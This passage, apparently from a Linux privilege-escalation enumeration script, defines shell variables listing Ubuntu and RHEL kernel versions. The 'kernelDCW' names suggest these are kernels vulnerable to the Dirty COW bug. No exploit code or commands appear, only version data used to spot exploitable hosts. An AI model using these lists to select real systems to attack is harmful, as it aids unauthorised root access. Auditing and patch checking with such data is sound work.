3.15| 3.14| 3.13.1| 3.13.0| 3.13| 3.12.0| 3.12| 3.11.0| 3.11| 3.10.6| 3.10.0| 3.10| 3.1.0| 3.0.6| 3.0.5| 3.0.4| 3.0.3| 3.0.2| 3.0.1| 3.0.0| 2.6.9| 2.6.8| 2.6.7| 2.6.6| 2.6.5| 2.6.4| 2.6.39| 2.6.38| 2.6.37| 2.6.36| 2.6.35| 2.6.34| 2.6.33| 2.6.32| 2.6.31| 2.6.30| 2.6.3| 2.6.29| 2.6.28| 2.6.27| 2.6.26| 2.6.25| 2.6.24.1| 2.6.24| 2.6.23| 2.6.22| 2.6.21| 2.6.20| 2.6.2| 2.6.19| 2.6.18| 2.6.17| 2.6.16| 2.6.15| 2.6.14| 2.6.13| 2.6.12| 2.6.11| 2.6.10| 2.6.1| 2.6.0| 2.4.9| 2.4.8| 2.4.7| 2.4.6| 2.4.5| 2.4.4| 2.4.37| 2.4.36| 2.4.35| 2.4.34| 2.4.33| 2.4.32| 2.4.31| 2.4.30| 2.4.29| 2.4.28| 2.4.27| 2.4.26| 2.4.25| 2.4.24| 2.4.23| 2.4.22| 2.4.21| 2.4.20| 2.4.19| 2.4.18| 2.4.17| 2.4.16| 2.4.15| 2.4.14| 2.4.13| 2.4.12| 2.4.11| 2.4.10| 2.2.24" kernelDCW_Ubuntu_Precise_1="3.1.1-1400-linaro-lt-mx5|3.11.0-13-generic|3.11.0-14-generic|3.11.0-15-generic|3.11.0-17-generic|3.11.0-18-generic|3.11.0-20-generic|3.11.0-22-generic|3.11.0-23-generic|3.11.0-24-generic|3.11.0-26-generic|3.13.0-100-generic|3.13.0-24-generic|3.13.0-27-generic|3.13.0-29-generic|3.13.0-30-generic|3.13.0-32-generic|3.13.0-33-generic|3.13.0-34-generic|3.13.0-35-generic|3.13.0-36-generic|3.13.0-37-generic|3.13.0-39-generic|3.13.0-40-generic|3.13.0-41-generic|3.13.0-43-generic|3.13.0-44-generic|3.13.0-46-generic|3.13.0-48-generic|3.13.0-49-generic|3.13.0-51-generic|3.13.0-52-generic|3.13.0-53-generic|3.13.0-54-generic|3.13.0-55-generic|3.13.0-57-generic|3.13.0-58-generic|3.13.0-59-generic|3.13.0-61-generic|3.13.0-62-generic|3.13.0-63-generic|3.13.0-65-generic|3.13.0-66-generic|3.13.0-67-generic|3.13.0-68-generic|3.13.0-71-generic|3.13.0-73-generic|3.13.0-74-generic|3.13.0-76-generic|3.13.0-77-generic|3.13.0-79-generic|3.13.0-83-generic|3.13.0-85-generic|3.13.0-86-generic|3.13.0-88-generic|3.13.0-91-generic|3.13.0-92-generic|3.13.0-93-generic|3.13.0-95-generic|3.13.0-96-generic|3.13.0-98-generic|3.2.0-101-generic|3.2.0-101-generic-pae|3.2.0-101-virtual|3.2.0-102-generic|3.2.0-102-generic-pae|3.2.0-102-virtual" kernelDCW_Ubuntu_Precise_2="3.2.0-104-generic|3.2.0-104-generic-pae|3.2.0-104-virtual|3.2.0-105-generic|3.2.0-105-generic-pae|3.2.0-105-virtual|3.2.0-106-generic|3.2.0-106-generic-pae|3.2.0-106-virtual|3.2.0-107-generic|3.2.0-107-generic-pae|3.2.0-107-virtual|3.2.0-109-generic|3.2.0-109-generic-pae|3.2.0-109-virtual|3.2.0-110-generic|3.2.0-110-generic-pae|3.2.0-110-virtual|3.2.0-111-generic|3.2.0-111-generic-pae|3.2.0-111-virtual|3.2.0-1412-omap4|3.2.0-1602-armadaxp|3.2.0-23-generic|3.2.0-23-generic-pae|3.2.0-23-lowlatency|3.2.0-23-lowlatency-pae|3.2.0-23-omap|3.2.0-23-powerpc-smp|3.2.0-23-powerpc64-smp|3.2.0-23-virtual|3.2.0-24-generic|3.2.0-24-generic-pae|3.2.0-24-virtual|3.2.0-25-generic|3.2.0-25-generic-pae|3.2.0-25-virtual|3.2.0-26-generic|3.2.0-26-generic-pae|3.2.0-26-virtual|3.2.0-27-generic|3.2.0-27-generic-pae|3.2.0-27-virtual|3.2.0-29-generic|3.2.0-29-generic-pae|3.2.0-29-virtual|3.2.0-31-generic|3.2.0-31-generic-pae|3.2.0-31-virtual|3.2.0-32-generic|3.2.0-32-generic-pae|3.2.0-32-virtual|3.2.0-33-generic|3.2.0-33-generic-pae|3.2.0-33-lowlatency|3.2.0-33-lowlatency-pae|3.2.0-33-virtual|3.2.0-34-generic|3.2.0-34-generic-pae|3.2.0-34-virtual|3.2.0-35-generic|3.2.0-35-generic-pae|3.2.0-35-lowlatency|3.2.0-35-lowlatency-pae|3.2.0-35-virtual" kernelDCW_Ubuntu_Precise_3="3.2.0-36-generic|3.2.0-36-generic-pae|3.2.0-36-lowlatency|3.2.0-36-lowlatency-pae|3.2.0-36-virtual|3.2.0-37-generic|3.2.0-37-generic-pae|3.2.0-37-lowlatency|3.2.0-37-lowlatency-pae|3.2.0-37-virtual|3.2.0-38-generic|3.2.0-38-generic-pae|3.2.0-38-lowlatency|3.2.0-38-lowlatency-pae|3.2.0-38-virtual|3.2.0-39-generic|3.2.0-39-generic-pae|3.2.0-39-lowlatency|3.2.0-39-lowlatency-pae|3.2.0-39-virtual|3.2.0-40-generic|3.2.0-40-generic-pae|3.2.0-40-lowlatency|3.2.0-40-lowlatency-pae|3.2.0-40-virtual|3.2.0-41-generic|3.2.0-41-generic-pae|3.2.0-41-lowlatency|3.2.0-41-lowlatency-pae|3.2.0-41-virtual|3.2.0-43-generic|3.2.0-43-generic-pae|3.2.0-43-virtual|3.2.0-44-generic|3.2.0-44-generic-pae|3.2.0-44-lowlatency|3.2.0-44-lowlatency-pae|3.2.0-44-virtual|3.2.0-45-generic|3.2.0-45-generic-pae|3.2.0-45-virtual|3.2.0-48-generic|3.2.0-48-generic-pae|3.2.0-48-lowlatency|3.2.0-48-lowlatency-pae|3.2.0-48-virtual|3.2.0-51-generic|3.2.0-51-generic-pae|3.2.0-51-lowlatency|3.2.0-51-lowlatency-pae|3.2.0-51-virtual|3.2.0-52-generic|3.2.0-52-generic-pae|3.2.0-52-lowlatency|3.2.0-52-lowlatency-pae|3.2.0-52-virtual|3.2.0-53-generic" kernelDCW_Ubuntu_Precise_4="3.2.0-53-generic-pae|3.2.0-53-lowlatency|3.2.0-53-lowlatency-pae|3.2.0-53-virtual|3.2.0-54-generic|3.2.0-54-generic-pae|3.2.0-54-lowlatency|3.2.0-54-lowlatency-pae|3.2.0-54-virtual|3.2.0-55-generic|3.2.0-55-generic-pae|3.2.0-55-lowlatency|3.2.0-55-lowlatency-pae|3.2.0-55-virtual|3.2.0-56-generic|3.2.0-56-generic-pae|3.2.0-56-lowlatency|3.2.0-56-lowlatency-pae|3.2.0-56-virtual|3.2.0-57-generic|3.2.0-57-generic-pae|3.2.0-57-lowlatency|3.2.0-57-lowlatency-pae|3.2.0-57-virtual|3.2.0-58-generic|3.2.0-58-generic-pae|3.2.0-58-lowlatency|3.2.0-58-lowlatency-pae|3.2.0-58-virtual|3.2.0-59-generic|3.2.0-59-generic-pae|3.2.0-59-lowlatency|3.2.0-59-lowlatency-pae|3.2.0-59-virtual|3.2.0-60-generic|3.2.0-60-generic-pae|3.2.0-60-lowlatency|3.2.0-60-lowlatency-pae|3.2.0-60-virtual|3.2.0-61-generic|3.2.0-61-generic-pae|3.2.0-61-virtual|3.2.0-63-generic|3.2.0-63-generic-pae|3.2.0-63-lowlatency|3.2.0-63-lowlatency-pae|3.2.0-63-virtual|3.2.0-64-generic|3.2.0-64-generic-pae|3.2.0-64-lowlatency|3.2.0-64-lowlatency-pae|3.2.0-64-virtual|3.2.0-65-generic|3.2.0-65-generic-pae|3.2.0-65-lowlatency|3.2.0-65-lowlatency-pae|3.2.0-65-virtual|3.2.0-67-generic|3.2.0-67-generic-pae|3.2.0-67-lowlatency|3.2.0-67-lowlatency-pae|3.2.0-67-virtual|3.2.0-68-generic" kernelDCW_Ubuntu_Precise_5="3.2.0-68-generic-pae|3.2.0-68-lowlatency|3.2.0-68-lowlatency-pae|3.2.0-68-virtual|3.2.0-69-generic|3.2.0-69-generic-pae|3.2.0-69-lowlatency|3.2.0-69-lowlatency-pae|3.2.0-69-virtual|3.2.0-70-generic|3.2.0-70-generic-pae|3.2.0-70-lowlatency|3.2.0-70-lowlatency-pae|3.2.0-70-virtual|3.2.0-72-generic|3.2.0-72-generic-pae|3.2.0-72-lowlatency|3.2.0-72-lowlatency-pae|3.2.0-72-virtual|3.2.0-73-generic|3.2.0-73-generic-pae|3.2.0-73-lowlatency|3.2.0-73-lowlatency-pae|3.2.0-73-virtual|3.2.0-74-generic|3.2.0-74-generic-pae|3.2.0-74-lowlatency|3.2.0-74-lowlatency-pae|3.2.0-74-virtual|3.2.0-75-generic|3.2.0-75-generic-pae|3.2.0-75-lowlatency|3.2.0-75-lowlatency-pae|3.2.0-75-virtual|3.2.0-76-generic|3.2.0-76-generic-pae|3.2.0-76-lowlatency|3.2.0-76-lowlatency-pae|3.2.0-76-virtual|3.2.0-77-generic|3.2.0-77-generic-pae|3.2.0-77-lowlatency|3.2.0-77-lowlatency-pae|3.2.0-77-virtual|3.2.0-79-generic|3.2.0-79-generic-pae|3.2.0-79-lowlatency|3.2.0-79-lowlatency-pae|3.2.0-79-virtual|3.2.0-80-generic|3.2.0-80-generic-pae|3.2.0-80-lowlatency|3.2.0-80-lowlatency-pae|3.2.0-80-virtual|3.2.0-82-generic|3.2.0-82-generic-pae|3.2.0-82-lowlatency|3.2.0-82-lowlatency-pae|3.2.0-82-virtual|3.2.0-83-generic|3.2.0-83-generic-pae|3.2.0-83-virtual|3.2.0-84-generic" kernelDCW_Ubuntu_Precise_6="3.2.0-84-generic-pae|3.2.0-84-virtual|3.2.0-85-generic|3.2.0-85-generic-pae|3.2.0-85-virtual|3.2.0-86-generic|3.2.0-86-generic-pae|3.2.0-86-virtual|3.2.0-87-generic|3.2.0-87-generic-pae|3.2.0-87-virtual|3.2.0-88-generic|3.2.0-88-generic-pae|3.2.0-88-virtual|3.2.0-89-generic|3.2.0-89-generic-pae|3.2.0-89-virtual|3.2.0-90-generic|3.2.0-90-generic-pae|3.2.0-90-virtual|3.2.0-91-generic|3.2.0-91-generic-pae|3.2.0-91-virtual|3.2.0-92-generic|3.2.0-92-generic-pae|3.2.0-92-virtual|3.2.0-93-generic|3.2.0-93-generic-pae|3.2.0-93-virtual|3.2.0-94-generic|3.2.0-94-generic-pae|3.2.0-94-virtual|3.2.0-95-generic|3.2.0-95-generic-pae|3.2.0-95-virtual|3.2.0-96-generic|3.2.0-96-generic-pae|3.2.0-96-virtual|3.2.0-97-generic|3.2.0-97-generic-pae|3.2.0-97-virtual|3.2.0-98-generic|3.2.0-98-generic-pae|3.2.0-98-virtual|3.2.0-99-generic|3.2.0-99-generic-pae|3.2.0-99-virtual|3.5.0-40-generic|3.5.0-41-generic|3.5.0-42-generic|3.5.0-43-generic|3.5.0-44-generic|3.5.0-45-generic|3.5.0-46-generic|3.5.0-49-generic|3.5.0-51-generic|3.5.0-52-generic|3.5.0-54-generic|3.8.0-19-generic|3.8.0-21-generic|3.8.0-22-generic|3.8.0-23-generic|3.8.0-27-generic|3.8.0-29-generic|3.8.0-30-generic|3.8.0-31-generic|3.8.0-32-generic|3.8.0-33-generic|3.8.0-34-generic|3.8.0-35-generic|3.8.0-36-generic|3.8.0-37-generic|3.8.0-38-generic|3.8.0-39-generic|3.8.0-41-generic|3.8.0-42-generic" kernelDCW_Ubuntu_Trusty_1="3.13.0-24-generic|3.13.0-24-generic-lpae|3.13.0-24-lowlatency|3.13.0-24-powerpc-e500|3.13.0-24-powerpc-e500mc|3.13.0-24-powerpc-smp|3.13.0-24-powerpc64-emb|3.13.0-24-powerpc64-smp|3.13.0-27-generic|3.13.0-27-lowlatency|3.13.0-29-generic|3.13.0-29-lowlatency|3.13.0-3-exynos5|3.13.0-30-generic|3.13.0-30-lowlatency|3.13.0-32-generic|3.13.0-32-lowlatency|3.13.0-33-generic|3.13.0-33-lowlatency|3.13.0-34-generic|3.13.0-34-lowlatency|3.13.0-35-generic|3.13.0-35-lowlatency|3.13.0-36-generic|3.13.0-36-lowlatency|3.13.0-37-generic|3.13.0-37-lowlatency|3.13.0-39-generic|3.13.0-39-lowlatency|3.13.0-40-generic|3.13.0-40-lowlatency|3.13.0-41-generic|3.13.0-41-lowlatency|3.13.0-43-generic|3.13.0-43-lowlatency|3.13.0-44-generic|3.13.0-44-lowlatency|3.13.0-46-generic|3.13.0-46-lowlatency|3.13.0-48-generic|3.13.0-48-lowlatency|3.13.0-49-generic|3.13.0-49-lowlatency|3.13.0-51-generic|3.13.0-51-lowlatency|3.13.0-52-generic|3.13.0-52-lowlatency|3.13.0-53-generic|3.13.0-53-lowlatency|3.13.0-54-generic|3.13.0-54-lowlatency|3.13.0-55-generic|3.13.0-55-lowlatency|3.13.0-57-generic|3.13.0-57-lowlatency|3.13.0-58-generic|3.13.0-58-lowlatency|3.13.0-59-generic|3.13.0-59-lowlatency|3.13.0-61-generic|3.13.0-61-lowlatency|3.13.0-62-generic|3.13.0-62-lowlatency|3.13.0-63-generic|3.13.0-63-lowlatency|3.13.0-65-generic|3.13.0-65-lowlatency|3.13.0-66-generic|3.13.0-66-lowlatency" kernelDCW_Ubuntu_Trusty_2="3.13.0-67-generic|3.13.0-67-lowlatency|3.13.0-68-generic|3.13.0-68-lowlatency|3.13.0-70-generic|3.13.0-70-lowlatency|3.13.0-71-generic|3.13.0-71-lowlatency|3.13.0-73-generic|3.13.0-73-lowlatency|3.13.0-74-generic|3.13.0-74-lowlatency|3.13.0-76-generic|3.13.0-76-lowlatency|3.13.0-77-generic|3.13.0-77-lowlatency|3.13.0-79-generic|3.13.0-79-lowlatency|3.13.0-83-generic|3.13.0-83-lowlatency|3.13.0-85-generic|3.13.0-85-lowlatency|3.13.0-86-generic|3.13.0-86-lowlatency|3.13.0-87-generic|3.13.0-87-lowlatency|3.13.0-88-generic|3.13.0-88-lowlatency|3.13.0-91-generic|3.13.0-91-lowlatency|3.13.0-92-generic|3.13.0-92-lowlatency|3.13.0-93-generic|3.13.0-93-lowlatency|3.13.0-95-generic|3.13.0-95-lowlatency|3.13.0-96-generic|3.13.0-96-lowlatency|3.13.0-98-generic|3.13.0-98-lowlatency|3.16.0-25-generic|3.16.0-25-lowlatency|3.16.0-26-generic|3.16.0-26-lowlatency|3.16.0-28-generic|3.16.0-28-lowlatency|3.16.0-29-generic|3.16.0-29-lowlatency|3.16.0-31-generic|3.16.0-31-lowlatency|3.16.0-33-generic|3.16.0-33-lowlatency|3.16.0-34-generic|3.16.0-34-lowlatency|3.16.0-36-generic|3.16.0-36-lowlatency|3.16.0-37-generic|3.16.0-37-lowlatency|3.16.0-38-generic|3.16.0-38-lowlatency|3.16.0-39-generic|3.16.0-39-lowlatency|3.16.0-41-generic|3.16.0-41-lowlatency|3.16.0-43-generic|3.16.0-43-lowlatency|3.16.0-44-generic|3.16.0-44-lowlatency|3.16.0-45-generic" kernelDCW_Ubuntu_Trusty_3="3.16.0-45-lowlatency|3.16.0-46-generic|3.16.0-46-lowlatency|3.16.0-48-generic|3.16.0-48-lowlatency|3.16.0-49-generic|3.16.0-49-lowlatency|3.16.0-50-generic|3.16.0-50-lowlatency|3.16.0-51-generic|3.16.0-51-lowlatency|3.16.0-52-generic|3.16.0-52-lowlatency|3.16.0-53-generic|3.16.0-53-lowlatency|3.16.0-55-generic|3.16.0-55-lowlatency|3.16.0-56-generic|3.16.0-56-lowlatency|3.16.0-57-generic|3.16.0-57-lowlatency|3.16.0-59-generic|3.16.0-59-lowlatency|3.16.0-60-generic|3.16.0-60-lowlatency|3.16.0-62-generic|3.16.0-62-lowlatency|3.16.0-67-generic|3.16.0-67-lowlatency|3.16.0-69-generic|3.16.0-69-lowlatency|3.16.0-70-generic|3.16.0-70-lowlatency|3.16.0-71-generic|3.16.0-71-lowlatency|3.16.0-73-generic|3.16.0-73-lowlatency|3.16.0-76-generic|3.16.0-76-lowlatency|3.16.0-77-generic|3.16.0-77-lowlatency|3.19.0-20-generic|3.19.0-20-lowlatency|3.19.0-21-generic|3.19.0-21-lowlatency|3.19.0-22-generic|3.19.0-22-lowlatency|3.19.0-23-generic|3.19.0-23-lowlatency|3.19.0-25-generic|3.19.0-25-lowlatency|3.19.0-26-generic|3.19.0-26-lowlatency|3.19.0-28-generic|3.19.0-28-lowlatency|3.19.0-30-generic|3.19.0-30-lowlatency|3.19.0-31-generic|3.19.0-31-lowlatency|3.19.0-32-generic|3.19.0-32-lowlatency|3.19.0-33-generic|3.19.0-33-lowlatency|3.19.0-37-generic|3.19.0-37-lowlatency|3.19.0-39-generic|3.19.0-39-lowlatency|3.19.0-41-generic|3.19.0-41-lowlatency|3.19.0-42-generic" kernelDCW_Ubuntu_Trusty_4="3.19.0-42-lowlatency|3.19.0-43-generic|3.19.0-43-lowlatency|3.19.0-47-generic|3.19.0-47-lowlatency|3.19.0-49-generic|3.19.0-49-lowlatency|3.19.0-51-generic|3.19.0-51-lowlatency|3.19.0-56-generic|3.19.0-56-lowlatency|3.19.0-58-generic|3.19.0-58-lowlatency|3.19.0-59-generic|3.19.0-59-lowlatency|3.19.0-61-generic|3.19.0-61-lowlatency|3.19.0-64-generic|3.19.0-64-lowlatency|3.19.0-65-generic|3.19.0-65-lowlatency|3.19.0-66-generic|3.19.0-66-lowlatency|3.19.0-68-generic|3.19.0-68-lowlatency|3.19.0-69-generic|3.19.0-69-lowlatency|3.19.0-71-generic|3.19.0-71-lowlatency|3.4.0-5-chromebook|4.2.0-18-generic|4.2.0-18-lowlatency|4.2.0-19-generic|4.2.0-19-lowlatency|4.2.0-21-generic|4.2.0-21-lowlatency|4.2.0-22-generic|4.2.0-22-lowlatency|4.2.0-23-generic|4.2.0-23-lowlatency|4.2.0-25-generic|4.2.0-25-lowlatency|4.2.0-27-generic|4.2.0-27-lowlatency|4.2.0-30-generic|4.2.0-30-lowlatency|4.2.0-34-generic|4.2.0-34-lowlatency|4.2.0-35-generic|4.2.0-35-lowlatency|4.2.0-36-generic|4.2.0-36-lowlatency|4.2.0-38-generic|4.2.0-38-lowlatency|4.2.0-41-generic|4.2.0-41-lowlatency|4.4.0-21-generic|4.4.0-21-lowlatency|4.4.0-22-generic|4.4.0-22-lowlatency|4.4.0-24-generic|4.4.0-24-lowlatency|4.4.0-28-generic|4.4.0-28-lowlatency|4.4.0-31-generic|4.4.0-31-lowlatency|4.4.0-34-generic|4.4.0-34-lowlatency|4.4.0-36-generic|4.4.0-36-lowlatency|4.4.0-38-generic|4.4.0-38-lowlatency|4.4.0-42-generic|4.4.0-42-lowlatency" kernelDCW_Ubuntu_Xenial="4.4.0-1009-raspi2|4.4.0-1012-snapdragon|4.4.0-21-generic|4.4.0-21-generic-lpae|4.4.0-21-lowlatency|4.4.0-21-powerpc-e500mc|4.4.0-21-powerpc-smp|4.4.0-21-powerpc64-emb|4.4.0-21-powerpc64-smp|4.4.0-22-generic|4.4.0-22-lowlatency|4.4.0-24-generic|4.4.0-24-lowlatency|4.4.0-28-generic|4.4.0-28-lowlatency|4.4.0-31-generic|4.4.0-31-lowlatency|4.4.0-34-generic|4.4.0-34-lowlatency|4.4.0-36-generic|4.4.0-36-lowlatency|4.4.0-38-generic|4.4.0-38-lowlatency|4.4.0-42-generic|4.4.0-42-lowlatency" kernelDCW_Rhel5_1="2.6.24.7-74.el5rt|2.6.24.7-81.el5rt|2.6.24.7-93.el5rt|2.6.24.7-101.el5rt|2.6.24.7-108.el5rt|2.6.24.7-111.el5rt|2.6.24.7-117.el5rt|2.6.24.7-126.el5rt|2.6.24.7-132.el5rt|2.6.24.7-137.el5rt|2.6.24.7-139.el5rt|2.6.24.7-146.el5rt|2.6.24.7-149.el5rt|2.6.24.7-161.el5rt|2.6.24.7-169.el5rt|2.6.33.7-rt29.45.el5rt|2.6.33.7-rt29.47.el5rt|2.6.33.7-rt29.55.el5rt|2.6.33.9-rt31.64.el5rt|2.6.33.9-rt31.67.el5rt|2.6.33.9-rt31.86.el5rt|2.6.18-8.1.1.el5|2.6.18-8.1.3.el5|2.6.18-8.1.4.el5|2.6.18-8.1.6.el5|2.6.18-8.1.8.el5|2.6.18-8.1.10.el5|2.6.18-8.1.14.el5|2.6.18-8.1.15.el5|2.6.18-53.el5|2.6.18-53.1.4.el5|2.6.18-53.1.6.el5|2.6.18-53.1.13.el5|2.6.18-53.1.14.el5|2.6.18-53.1.19.el5|2.6.18-53.1.21.el5|2.6.18-92.el5|2.6.18-92.1.1.el5|2.6.18-92.1.6.el5|2.6.18-92.1.10.el5|2.6.18-92.1.13.el5|2.6.18-92.1.18.el5|2.6.18-92.1.22.el5|2.6.18-92.1.24.el5|2.6.18-92.1.26.el5|2.6.18-92.1.27.el5|2.6.18-92.1.28.el5|2.6.18-92.1.29.el5|2.6.18-92.1.32.el5|2.6.18-92.1.35.el5|2.6.18-92.1.38.el5|2.6.18-128.el5|2.6.18-128.1.1.el5|2.6.18-128.1.6.el5|2.6.18-128.1.10.el5|2.6.18-128.1.14.el5|2.6.18-128.1.16.el5|2.6.18-128.2.1.el5|2.6.18-128.4.1.el5|2.6.18-128.4.1.el5|2.6.18-128.7.1.el5|2.6.18-128.8.1.el5|2.6.18-128.11.1.el5|2.6.18-128.12.1.el5|2.6.18-128.14.1.el5|2.6.18-128.16.1.el5|2.6.18-128.17.1.el5|2.6.18-128.18.1.el5|2.6.18-128.23.1.el5|2.6.18-128.23.2.el5|2.6.18-128.25.1.el5|2.6.18-128.26.1.el5|2.6.18-128.27.1.el5" kernelDCW_Rhel5_2="2.6.18-128.29.1.el5|2.6.18-128.30.1.el5|2.6.18-128.31.1.el5|2.6.18-128.32.1.el5|2.6.18-128.35.1.el5|2.6.18-128.36.1.el5|2.6.18-128.37.1.el5|2.6.18-128.38.1.el5|2.6.18-128.39.1.el5|2.6.18-128.40.1.el5|2.6.18-128.41.1.el5|2.6.18-164.el5|2.6.18-164.2.1.el5|2.6.18-164.6.1.el5|2.6.18-164.9.1.el5|2.6.18-164.10.1.el5|2.6.18-164.11.1.el5|2.6.18-164.15.1.el5|2.6.18-164.17.1.el5|2.6.18-164.19.1.el5|2.6.18-164.21.1.el5|2.6.18-164.25.1.el5|2.6.18-164.25.2.el5|2.6.18-164.28.1.el5|2.6.18-164.30.1.el5|2.6.18-164.32.1.el5|2.6.18-164.34.1.el5|2.6.18-164.36.1.el5|2.6.18-164.37.1.el5|2.6.18-164.38.1.el5|2.6.18-194.el5|2.6.18-194.3.1.el5|2.6.18-194.8.1.el5|2.6.18-194.11.1.el5|2.6.18-194.11.3.el5|2.6.18-194.11.4.el5|2.6.18-194.17.1.el5|2.6.18-194.17.4.el5|2.6.18-194.26.1.el5|2.6.18-194.32.1.el5|2.6.18-238.el5|2.6.18-238.1.1.el5|2.6.18-238.5.1.el5|2.6.18-238.9.1.el5|2.6.18-238.12.1.el5|2.6.18-238.19.1.el5|2.6.18-238.21.1.el5|2.6.18-238.27.1.el5|2.6.18-238.28.1.el5|2.6.18-238.31.1.el5|2.6.18-238.33.1.el5|2.6.18-238.35.1.el5|2.6.18-238.37.1.el5|2.6.18-238.39.1.el5|2.6.18-238.40.1.el5|2.6.18-238.44.1.el5|2.6.18-238.45.1.el5|2.6.18-238.47.1.el5|2.6.18-238.48.1.el5|2.6.18-238.49.1.el5|2.6.18-238.50.1.el5|2.6.18-238.51.1.el5|2.6.18-238.52.1.el5|2.6.18-238.53.1.el5|2.6.18-238.54.1.el5|2.6.18-238.55.1.el5|2.6.18-238.56.1.el5|2.6.18-274.el5|2.6.18-274.3.1.el5|2.6.18-274.7.1.el5|2.6.18-274.12.1.el5" kernelDCW_Rhel5_3="2.6.18-274.17.1.el5|2.6.18-274.18.1.el5|2.6.18-308.el5|2.6.18-308.1.1.el5|2.6.18-308.4.1.el5|2.6.18-308.8.1.el5|2.6.18-308.8.2.el5|2.6.18-308.11.1.el5|2.6.18-308.13.1.el5|2.6.18-308.16.1.el5|2.6.18-308.20.1.el5|2.6.18-308.24.1.el5|2.6.18-348.el5|2.6.18-348.1.1.el5|2.6.18-348.2.1.el5|2.6.18-348.3.1.el5|2.6.18-348.4.1.el5|2.6.18-348.6.1.el5|2.6.18-348.12.1.el5|2.6.18-348.16.1.el5|2.6.18-348.18.1.el5|2.6.18-348.19.1.el5|2.6.18-348.21.1.el5|2.6.18-348.22.1.el5|2.6.18-348.23.1.el5|2.6.18-348.25.1.el5|2.6.18-348.27.1.el5|2.6.18-348.28.1.el5|2.6.18-348.29.1.el5|2.6.18-348.30.1.el5|2.6.18-348.31.2.el5|2.6.18-371.el5|2.6.18-371.1.2.el5|2.6.18-371.3.1.el5|2.6.18-371.4.1.el5|2.6.18-371.6.1.el5|2.6.18-371.8.1.el5|2.6.18-371.9.1.el5|2.6.18-371.11.1.el5|2.6.18-371.12.1.el5|2.6.18-398.el5|2.6.18-400.el5|2.6.18-400.1.1.el5|2.6.18-402.el5|2.6.18-404.el5|2.6.18-406.el5|2.6.18-407.el5|2.6.18-408.el5|2.6.18-409.el5|2.6.18-410.el5|2.6.18-411.el5|2.6.18-412.el5" kernelDCW_Rhel6_1="2.6.33.9-rt31.66.el6rt|2.6.33.9-rt31.74.el6rt|2.6.33.9-rt31.75.el6rt|2.6.33.9-rt31.79.el6rt|3.0.9-rt26.45.el6rt|3.0.9-rt26.46.el6rt|3.0.18-rt34.53.el6rt|3.0.25-rt44.57.el6rt|3.0.30-rt50.62.el6rt|3.0.36-rt57.66.el6rt|3.2.23-rt37.56.el6rt|3.2.33-rt50.66.el6rt|3.6.11-rt28.20.el6rt|3.6.11-rt30.25.el6rt|3.6.11.2-rt33.39.el6rt|3.6.11.5-rt37.55.el6rt|3.8.13-rt14.20.el6rt|3.8.13-rt14.25.el6rt|3.8.13-rt27.33.el6rt|3.8.13-rt27.34.el6rt|3.8.13-rt27.40.el6rt|3.10.0-229.rt56.144.el6rt|3.10.0-229.rt56.147.el6rt|3.10.0-229.rt56.149.el6rt|3.10.0-229.rt56.151.el6rt|3.10.0-229.rt56.153.el6rt|3.10.0-229.rt56.158.el6rt|3.10.0-229.rt56.161.el6rt|3.10.0-229.rt56.162.el6rt|3.10.0-327.rt56.170.el6rt|3.10.0-327.rt56.171.el6rt|3.10.0-327.rt56.176.el6rt|3.10.0-327.rt56.183.el6rt|3.10.0-327.rt56.190.el6rt|3.10.0-327.rt56.194.el6rt|3.10.0-327.rt56.195.el6rt|3.10.0-327.rt56.197.el6rt|3.10.33-rt32.33.el6rt|3.10.33-rt32.34.el6rt|3.10.33-rt32.43.el6rt|3.10.33-rt32.45.el6rt|3.10.33-rt32.51.el6rt|3.10.33-rt32.52.el6rt|3.10.58-rt62.58.el6rt|3.10.58-rt62.60.el6rt|2.6.32-71.7.1.el6|2.6.32-71.14.1.el6|2.6.32-71.18.1.el6|2.6.32-71.18.2.el6|2.6.32-71.24.1.el6|2.6.32-71.29.1.el6|2.6.32-71.31.1.el6|2.6.32-71.34.1.el6|2.6.32-71.35.1.el6|2.6.32-71.36.1.el6|2.6.32-71.37.1.el6|2.6.32-71.38.1.el6|2.6.32-71.39.1.el6|2.6.32-71.40.1.el6|2.6.32-131.0.15.el6|2.6.32-131.2.1.el6|2.6.32-131.4.1.el6|2.6.32-131.6.1.el6|2.6.32-131.12.1.el6" kernelDCW_Rhel6_2="2.6.32-131.17.1.el6|2.6.32-131.21.1.el6|2.6.32-131.22.1.el6|2.6.32-131.25.1.el6|2.6.32-131.26.1.el6|2.6.32-131.28.1.el6|2.6.32-131.29.1.el6|2.6.32-131.30.1.el6|2.6.32-131.30.2.el6|2.6.32-131.33.1.el6|2.6.32-131.35.1.el6|2.6.32-131.36.1.el6|2.6.32-131.37.1.el6|2.6.32-131.38.1.el6|2.6.32-131.39.1.el6|2.6.32-220.el6|2.6.32-220.2.1.el6|2.6.32-220.4.1.el6|2.6.32-220.4.2.el6|2.6.32-220.4.7.bgq.el6|2.6.32-220.7.1.el6|2.6.32-220.7.3.p7ih.el6|2.6.32-220.7.4.p7ih.el6|2.6.32-220.7.6.p7ih.el6|2.6.32-220.7.7.p7ih.el6|2.6.32-220.13.1.el6|2.6.32-220.17.1.el6|2.6.32-220.23.1.el6|2.6.32-220.24.1.el6|2.6.32-220.25.1.el6|2.6.32-220.26.1.el6|2.6.32-220.28.1.el6|2.6.32-220.30.1.el6|2.6.32-220.31.1.el6|2.6.32-220.32.1.el6|2.6.32-220.34.1.el6|2.6.32-220.34.2.el6|2.6.32-220.38.1.el6|2.6.32-220.39.1.el6|2.6.32-220.41.1.el6|2.6.32-220.42.1.el6|2.6.32-220.45.1.el6|2.6.32-220.46.1.el6|2.6.32-220.48.1.el6|2.6.32-220.51.1.el6|2.6.32-220.52.1.el6|2.6.32-220.53.1.el6|2.6.32-220.54.1.el6|2.6.32-220.55.1.el6|2.6.32-220.56.1.el6|2.6.32-220.57.1.el6|2.6.32-220.58.1.el6|2.6.32-220.60.2.el6|2.6.32-220.62.1.el6|2.6.32-220.63.2.el6|2.6.32-220.64.1.el6|2.6.32-220.65.1.el6|2.6.32-220.66.1.el6|2.6.32-220.67.1.el6|2.6.32-279.el6|2.6.32-279.1.1.el6|2.6.32-279.2.1.el6|2.6.32-279.5.1.el6|2.6.32-279.5.2.el6|2.6.32-279.9.1.el6|2.6.32-279.11.1.el6|2.6.32-279.14.1.bgq.el6|2.6.32-279.14.1.el6|2.6.32-279.19.1.el6|2.6.32-279.22.1.el6|2.6.32-279.23.1.el6|2.6.32-279.25.1.el6|2.6.32-279.25.2.el6|2.6.32-279.31.1.el6|2.6.32-279.33.1.el6|2.6.32-279.34.1.el6|2.6.32-279.37.2.el6|2.6.32-279.39.1.el6" 